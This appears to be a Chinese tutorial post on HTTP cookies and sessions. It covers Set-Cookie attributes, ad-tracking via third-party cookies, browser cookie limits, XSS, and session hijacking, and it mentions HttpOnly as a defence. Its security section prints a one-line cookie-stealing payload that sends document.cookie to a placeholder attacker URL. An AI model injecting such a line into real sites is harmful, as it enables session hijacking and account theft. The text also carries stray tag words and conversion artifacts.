cookie最初是由網景公司開發的,如今全部主要的瀏覽器都支持它.php
cookie分爲兩種:會話cookie和持久cookie. 會話cookie是一種臨時的cookie,它記錄用戶的訪問站點的設置偏好.用戶在退出瀏覽器就會被刪除. 持久cookie是存儲在硬盤上的,一般用持久cookie維護用戶週期性訪問的站點的配置文件或用戶名. 會話cookie和持久cookie的區別在於有沒有過時時間,沒有過時時間就是會話cookie.
cookie的基本思想是讓瀏覽器積累一組服務器特有的信息,每次訪問這個服務器時都將信息提供給它.html
瀏覽器負責存儲cookie信息,因此這系統稱爲客戶端側狀態(client-side state).web
此cookie的正是規範名稱爲HTTP狀態管理機制(HTTP state management mechanism).數據庫
不少web站點都會與第三方廠商達成協議,由其來管理廣告.用戶在訪問多個由相同廣告公司提供服務的站點時.(因爲域名是匹配)瀏覽器就會回送設置好的持久cookie. 營銷公司能夠將此技術與Referer首部結合, 暗裏構建用戶文檔收集用戶習慣.瀏覽器
當你訪問A網站時,a服務器設置B網站的cookie,當你訪問B網站時,客戶端就把cookie發給b服務器,b服務器就收到了cookie.作相應的處理.
在服務器上能夠在響應的首部加Set-cookie的屬性控制哪些站點可使用cookie.
Set-cookie: user="mary"; expires="Manday, 01-01-1999 01-01-01"; pref=password; path=/secure/; secure domain="xxx.com"
NAME=VALUE:強制,鍵值
expires: 過時時間(Weekday, DD-MM-YY HH:MM:SS GMT)
path: 路徑
secure: 在https時發送緩存
Version: 強制,使用cookie的版本
Comment: 告訴客戶端如何使用
CommentURL: 指向詳細描述這cookie目的和策略的文檔
Discard:客戶端在程序終止時,放棄這個cookie
Max-Age:以秒單位,設置cookie的過時時間
port:端口號安全
在用戶訪問站點進行多項事務可用cookie進行對用戶的跟蹤.在用戶訪問站點時,就會啓動事務鏈,在web服務器會使用重定向,URL重寫以及cookie設置.服務器
a-客戶端打開xxx.com網頁 b-服務器將客戶端重定向到其餘URL上(Location: http://www.xxx.com/redirect.html) c-客戶端向重定向的URL發請求 d-服務端響應上送出兩個會話cookie,將用戶重定向到另外一個URL(Location: http://www.xxx.com/redirect.html/cookie[key]) e-客戶端向重定向的URL發請求,並把cookie附加在請求 f-服務器收到請求,在送兩個cookie,在重定向(Location: http://www.xxx.com/end.html) g-客戶端向重定向的URL發請求,並附上全部的cookie h-服務器回送內容 (來自於amazon.com栗子)
能夠在請求頭註明cookie不可緩存cookie
Cache-Control: no-cache='Set-Cookie'
IE6及更低版本限制每一個域名最多20個cookie
IE7和以後版本每一個域名最多50個。IE7最初是支持每一個域名最大20個cookie,以後被微軟的一個補丁所更新
Firefox限制每一個域最多50個cookie
Opera限制每一個域最多30個cookie
Safari和Chrome對於每一個域的cookie數量限制沒有硬性規定session
攻擊者 => a 被攻擊者 => b
a服務器的文件 => http://xxx.com/xxx.php
a只要在b的服務器上加一行代碼,就能獲取用戶在b網站的cookie
location.href='http://xxx.com/xxx.php?cookie=' + document.cookie
缺點是不太安全,敏感信息最好別用cookie存儲
session是一個抽象概念,服務端須要記錄用戶的狀態時,就須要用某種機制來識具體的用戶,這機制就是session機制.服務端session的數據結構,用來跟蹤用戶的狀態,這個數據能夠保存在集羣、數據庫、文件(服務器) .
第一次建立Session的時候,服務端會在HTTP協議中告訴客戶端,須要在 Cookie 裏面記錄一個Session ID,之後每次請求把這個會話ID發送到服務器.
每次HTTP請求的時候,客戶端都會發送相應的Cookie信息到服務端.
跨站腳本攻擊(Cross Site Script爲了區別於CSS簡稱爲XSS)指的是惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意用戶的特殊目的。
服務器生成的用以標識客戶信息的cookie通常被稱爲sessionId,而經過一些手段獲取其它用戶sessionId的攻擊就叫session劫持
set-cookie設置一個HttpOnly搞掂了